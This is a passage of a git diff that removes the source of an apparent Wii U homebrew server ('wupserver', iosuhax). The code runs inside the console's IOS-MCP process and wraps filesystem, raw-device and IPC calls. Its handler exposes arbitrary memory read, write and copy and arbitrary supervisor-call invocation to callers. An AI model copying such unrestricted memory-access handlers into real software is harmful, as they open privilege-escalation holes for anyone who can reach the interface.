(u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284 / 4] = flags; - - int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_FlushVolume(int fd, char* volume_path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], volume_path, 0x27F); - - int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_MakeDir(int fd, char* path, u32 flags) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284 / 4] = flags; - - int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_OpenDir(int fd, char* path, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RewindDir(int fd, int handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_CloseDir(int fd, int handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ChangeDir(int fd, char* path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - strncpy((char*)&inbuf[0xA1], mode, 0x10); - - int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - inbuf[0x08 / 4] = size; - inbuf[0x0C / 4] = cnt; - inbuf[0x14 / 4] = fileHandle; - inbuf[0x18 / 4] = flags; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret; - if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); - else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) -{ - return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); -} - -int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) -{ - return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); -} - -int FSA_StatFile(int fd, int handle, fileStat_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_CloseFile(int fd, int fileHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = fileHandle; - - int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_SetPosFile(int fd, int fileHandle, u32 position) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = fileHandle; - inbuf[2] = position; - - int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_GetStat(int fd, char *path, fileStat_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284/4] = 5; - - int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_Remove(int fd, char *path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ChangeMode(int fd, char *path, int mode) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284/4] = mode; - inbuf[0x288/4] = 0x777; // mask - - int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -// type 4 : -// 0x08 : device size in sectors (u64) -// 0x10 : device sector size (u32) -int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], device_path, 0x27F); - inbuf[0x284 / 4] = type; - - int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); - - int size = 0; - - switch(type) - { - case 0: case 1: case 7: - size = 0x8; - break; - case 2: - size = 0x4; - break; - case 3: - size = 0x1E; - break; - case 4: - size = 0x28; - break; - case 5: - size = 0x64; - break; - case 6: case 8: - size = 0x14; - break; - } - - memcpy(out_data, &outbuf[1], size); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawOpen(int fd, char* device_path, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], device_path, 0x27F); - - int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawClose(int fd, int device_handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = device_handle; - - int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -// offset in blocks of 0x1000 bytes -int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - // note : offset_bytes = blocks_offset * size_bytes - inbuf[0x08 / 4] = (blocks_offset >> 32); - inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); - inbuf[0x10 / 4] = cnt; - inbuf[0x14 / 4] = size_bytes; - inbuf[0x18 / 4] = device_handle; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size_bytes * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - inbuf[0x08 / 4] = (blocks_offset >> 32); - inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); - inbuf[0x10 / 4] = cnt; - inbuf[0x14 / 4] = size_bytes; - inbuf[0x18 / 4] = device_handle; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size_bytes * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} diff --git a/wupserver/source/fsa.h b/wupserver/source/fsa.h deleted file mode 100644 index 88366bf..0000000 --- a/wupserver/source/fsa.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FSA_H -#define FSA_H - -typedef struct -{ - u32 flag; - u32 permission; - u32 owner_id; - u32 group_id; - u32 size; // size in bytes - u32 physsize; // physical size on disk in bytes - u32 unk[3]; - u32 id; - u32 ctime; - u32 mtime; - u32 unk2[0x0D]; -}fileStat_s; - -typedef struct -{ - fileStat_s stat; - char name[0x100]; -}directoryEntry_s; - -#define DIR_ENTRY_IS_DIRECTORY 0x80000000 - -#define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) -#define FSA_MOUNTFLAGS_GLOBAL (1 << 1) - -int FSA_Open(); - -int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); -int FSA_Unmount(int fd, char* path, u32 flags); -int FSA_FlushVolume(int fd, char* volume_path); - -int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); - -int FSA_MakeDir(int fd, char* path, u32 flags); -int FSA_OpenDir(int fd, char* path, int* outHandle); -int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); -int FSA_RewindDir(int fd, int handle); -int FSA_CloseDir(int fd, int handle); -int FSA_ChangeDir(int fd, char* path); - -int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); -int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); -int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); -int FSA_StatFile(int fd, int handle, fileStat_s* out_data); -int FSA_CloseFile(int fd, int fileHandle); -int FSA_SetPosFile(int fd, int fileHandle, u32 position); -int FSA_GetStat(int fd, char *path, fileStat_s* out_data); -int FSA_Remove(int fd, char *path); -int FSA_ChangeMode(int fd, char *path, int mode); - -int FSA_RawOpen(int fd, char* device_path, int* outHandle); -int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); -int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); -int FSA_RawClose(int fd, int device_handle); - -#endif diff --git a/wupserver/source/imports.c b/wupserver/source/imports.c deleted file mode 100644 index ef04ead..0000000 --- a/wupserver/source/imports.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "imports.h" - -void usleep(u32 time) -{ - ((void (*const)(u32))0x050564E4)(time); -} - -void* memset(void* dst, int val, size_t size) -{ - char* _dst = dst; - - int i; - for(i = 0; i < size; i++) _dst[i] = val; - - return dst; -} - -void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; - -void* memcpy(void* dst, const void* src, size_t size) -{ - return _memcpy(dst, (void*)src, size); -} -/* -int strlen(const char* str) -{ - unsigned int i = 0; - while (str[i]) { - i++; - } - return i; -} -*/ -char* strncpy(char* dst, const char* src, size_t size) -{ - int i; - for(i = 0; i < size; i++) - { - dst[i] = src[i]; - if(src[i] == '\0') return dst; - } - - return dst; -} -/* -int vsnprintf(char * s, size_t n, const char * format, va_list arg) -{ - return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); -} -*/ \ No newline at end of file diff --git a/wupserver/source/imports.h b/wupserver/source/imports.h deleted file mode 100644 index 72ee497..0000000 --- a/wupserver/source/imports.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifndef IMPORTS_H -#define IMPORTS_H - -#include -#include -#include "types.h" - -#define MCP_SVC_BASE ((void*)0x050567EC) - -void usleep(u32 time); - -#endif diff --git a/wupserver/source/ipc.c b/wupserver/source/ipc.c deleted file mode 100644 index cc70a3f..0000000 --- a/wupserver/source/ipc.c +++ /dev/null @@ -1,496 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include -#include -#include -#include "imports.h" -#include "fsa.h" -#include "svc.h" -//#include "text.h" -//#include "logger.h" -#include "fsa.h" - -#define IOSUHAX_MAGIC_WORD 0x4E696365 -#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 -#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 -#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 -#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 -#define IOS_ERROR_NOEXISTS 0xFFFFFFFA - -#define IOCTL_MEM_WRITE 0x00 -#define IOCTL_MEM_READ 0x01 -#define IOCTL_SVC 0x02 -#define IOCTL_MEMCPY 0x04 -#define IOCTL_REPEATED_WRITE 0x05 -#define IOCTL_KERN_READ32 0x06 -#define IOCTL_KERN_WRITE32 0x07 - -#define IOCTL_FSA_OPEN 0x40 -#define IOCTL_FSA_CLOSE 0x41 -#define IOCTL_FSA_MOUNT 0x42 -#define IOCTL_FSA_UNMOUNT 0x43 -#define IOCTL_FSA_GETDEVICEINFO 0x44 -#define IOCTL_FSA_OPENDIR 0x45 -#define IOCTL_FSA_READDIR 0x46 -#define IOCTL_FSA_CLOSEDIR 0x47 -#define IOCTL_FSA_MAKEDIR 0x48 -#define IOCTL_FSA_OPENFILE 0x49 -#define IOCTL_FSA_READFILE 0x4A -#define IOCTL_FSA_WRITEFILE 0x4B -#define IOCTL_FSA_STATFILE 0x4C -#define IOCTL_FSA_CLOSEFILE 0x4D -#define IOCTL_FSA_SETFILEPOS 0x4E -#define IOCTL_FSA_GETSTAT 0x4F -#define IOCTL_FSA_REMOVE 0x50 -#define IOCTL_FSA_REWINDDIR 0x51 -#define IOCTL_FSA_CHDIR 0x52 -#define IOCTL_FSA_RENAME 0x53 -#define IOCTL_FSA_RAW_OPEN 0x54 -#define IOCTL_FSA_RAW_READ 0x55 -#define IOCTL_FSA_RAW_WRITE 0x56 -#define IOCTL_FSA_RAW_CLOSE 0x57 -#define IOCTL_FSA_CHANGEMODE 0x58 -#define IOCTL_FSA_FLUSHVOLUME 0x59 -#define IOCTL_CHECK_IF_IOSUHAX 0x5B - -//static u8 threadStack[0x1000] __attribute__((aligned(0x20))); - -static int ipc_ioctl(ipcmessage *message) -{ - int res = 0; - - switch(message->ioctl.command) - { - case IOCTL_MEM_WRITE: - { - if(message->ioctl.length_in < 4) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); - } - break; - } - case IOCTL_MEM_READ: - { - if(message->ioctl.length_in < 4) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); - } - break; - } - case IOCTL_SVC: - { - if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - int svc_id = message->ioctl.buffer_in[0]; - int size_arguments = message->ioctl.length_in - 4; - - u32 arguments[8]; - memset(arguments, 0x00, sizeof(arguments)); - memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); - - // return error code as data - message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); - } - break; - } - case IOCTL_MEMCPY: - { - if(message->ioctl.length_in < 12) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); - } - break; - } - /*case IOCTL_REPEATED_WRITE: - { - if(message->ioctl.length_in < 12) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - u32* dst = (u32*)message->ioctl.buffer_in[0]; - u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); - u32 value = message->ioctl.buffer_in[1]; - u32 n = message->ioctl.buffer_in[2]; - - u32 old = *dst; - int i; - for(i = 0; i < n; i++) - { - if(*dst != old) - { - if(*dst == 0x0) old = *dst; - else - { - *dst = value; - svcFlushDCache(cache_range, 0x100); - break; - } - }else - { - svcInvalidateDCache(cache_range, 0x100); - usleep(50); - } - } - } - break; - } - case IOCTL_KERN_READ32: - { - if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - for(u32 i = 0; i < (message->ioctl.length_io/4); i++) - { - message->ioctl.buffer_io[i] = svcRead32(message->ioctl.buffer_in[0] + i * 4); - } - } - break; - } - case IOCTL_KERN_WRITE32: - { - //! TODO: add syscall as on kern_read32 - res = IOS_ERROR_NOEXISTS; - break; - }*/ - //!-------------------------------------------------------------------------------------------------------------- - //! FSA handles for better performance - //!-------------------------------------------------------------------------------------------------------------- - //! TODO: add checks for i/o buffer length - case IOCTL_FSA_OPEN: - { - // points to "/dev/fsa" string in mcp data section - message->ioctl.buffer_io[0] = svcOpen((char*)0x0506963C, 0); - break; - } - case IOCTL_FSA_CLOSE: - { - int fd = message->ioctl.buffer_in[0]; - message->ioctl.buffer_io[0] = svcClose(fd); - break; - } - case IOCTL_FSA_MOUNT: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; - u32 flags = message->ioctl.buffer_in[3]; - char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; - int arg_string_len = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); - break; - } - case IOCTL_FSA_UNMOUNT: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - u32 flags = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); - break; - } - case IOCTL_FSA_FLUSHVOLUME: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path); - break; - } - case IOCTL_FSA_GETDEVICEINFO: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - int type = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_OPENDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_READDIR: - { - int fd = message->ioctl.buffer_in[0]; - int handle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_CLOSEDIR: - { - int fd = message->ioctl.buffer_in[0]; - int handle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); - break; - } - case IOCTL_FSA_MAKEDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - u32 flags = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); - break; - } - case IOCTL_FSA_OPENFILE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_READFILE: - { - int fd = message->ioctl.buffer_in[0]; - u32 size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - int fileHandle = message->ioctl.buffer_in[3]; - u32 flags = message->ioctl.buffer_in[4]; - - message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); - break; - } - case IOCTL_FSA_WRITEFILE: - { - int fd = message->ioctl.buffer_in[0]; - u32 size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - int fileHandle = message->ioctl.buffer_in[3]; - u32 flags = message->ioctl.buffer_in[4]; - - message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); - break; - } - case IOCTL_FSA_STATFILE: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_CLOSEFILE: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); - break; - } - case IOCTL_FSA_SETFILEPOS: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - u32 position = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); - break; - } - case IOCTL_FSA_GETSTAT: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_REMOVE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_Remove(fd, path); - break; - } - case IOCTL_FSA_REWINDDIR: - { - int fd = message->ioctl.buffer_in[0]; - int dirFd = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); - break; - } - case IOCTL_FSA_CHDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); - break; - } - case IOCTL_FSA_RAW_OPEN: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_RAW_READ: - { - int fd = message->ioctl.buffer_in[0]; - u32 block_size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; - int deviceHandle = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); - break; - } - case IOCTL_FSA_RAW_WRITE: - { - int fd = message->ioctl.buffer_in[0]; - u32 block_size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; - int deviceHandle = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); - break; - } - case IOCTL_FSA_RAW_CLOSE: - { - int fd = message->ioctl.buffer_in[0]; - int deviceHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); - break; - } - case IOCTL_FSA_CHANGEMODE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - int mode = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); - break; - } - case IOCTL_CHECK_IF_IOSUHAX: - { - message->ioctl.buffer_io[0] = IOSUHAX_MAGIC_WORD; - break; - } - default: - res = IOS_ERROR_INVALID_ARG; - break; - } - - return res; -} - -int ipc_thread(void *arg) -{ - int res; - ipcmessage *message; - /*u32* messageQueue = svcAllocAlign(0xCAFF, 0x20, 0x20); - int queueId = svcCreateMessageQueue(messageQueue, 0x10);*/ - // mcp main thread message queue listening on "/dev/mcp" - int queueId = *(int*)0x5070AEC; - int exit = 0; - while(!exit) - { - res = svcReceiveMessage(queueId, &message, 0); - if(res < 0) - { - usleep(10000); - continue; - } - - switch(message->command) - { - case IOS_OPEN: - { - //log_printf("IOS_OPEN\n"); - res = 0; - break; - } - case IOS_CLOSE: - { - //log_printf("IOS_CLOSE\n"); - exit = 1; - res = 0; - break; - } - case IOS_IOCTL: - { - //log_printf("IOS_IOCTL\n"); - res = ipc_ioctl(message); - break; - } - case IOS_IOCTLV: - { - //log_printf("IOS_IOCTLV\n"); - res = 0; - break; - } - default: - { - //log_printf("unexpected command 0x%X\n", message->command); - res = IOS_ERROR_UNKNOWN_VALUE; - break; - } - } - - svcResourceReply(message, res); - } - - return res; -} - -/*void ipc_init(void) -{ - int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); - if(threadId >= 0) - svcStartThread(threadId); -}*/ diff --git a/wupserver/source/ipc.h b/wupserver/source/ipc.h deleted file mode 100644 index 72aac08..0000000 --- a/wupserver/source/ipc.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _IPC_H_ -#define _IPC_H_ - -void ipc_init(); - -#endif diff --git a/wupserver/source/ipc_types.h b/wupserver/source/ipc_types.h deleted file mode 100644 index 22e14ff..0000000 --- a/wupserver/source/ipc_types.h +++ /dev/null @@ -1,83 +0,0 @@ -#ifndef _IPC_TYPES_H_ -#define _IPC_TYPES_H_ - -#include "types.h" - -#define IOS_COMMAND_INVALID 0x00 -#define IOS_OPEN 0x01 -#define IOS_CLOSE 0x02 -#define IOS_READ 0x03 -#define IOS_WRITE 0x04 -#define IOS_SEEK 0x05 -#define IOS_IOCTL 0x06 -#define IOS_IOCTLV 0x07 -#define IOS_REPLY 0x08 -#define IOS_IPC_MSG0 0x09 -#define IOS_IPC_MSG1 0x0A -#define IOS_IPC_MSG2 0x0B -#define IOS_SUSPEND 0x0C -#define IOS_RESUME 0x0D -#define IOS_SVCMSG 0x0E - - -/* IPC message */ -typedef struct ipcmessage -{ - u32 command; - u32 result; - u32 fd; - u32 flags; - u32 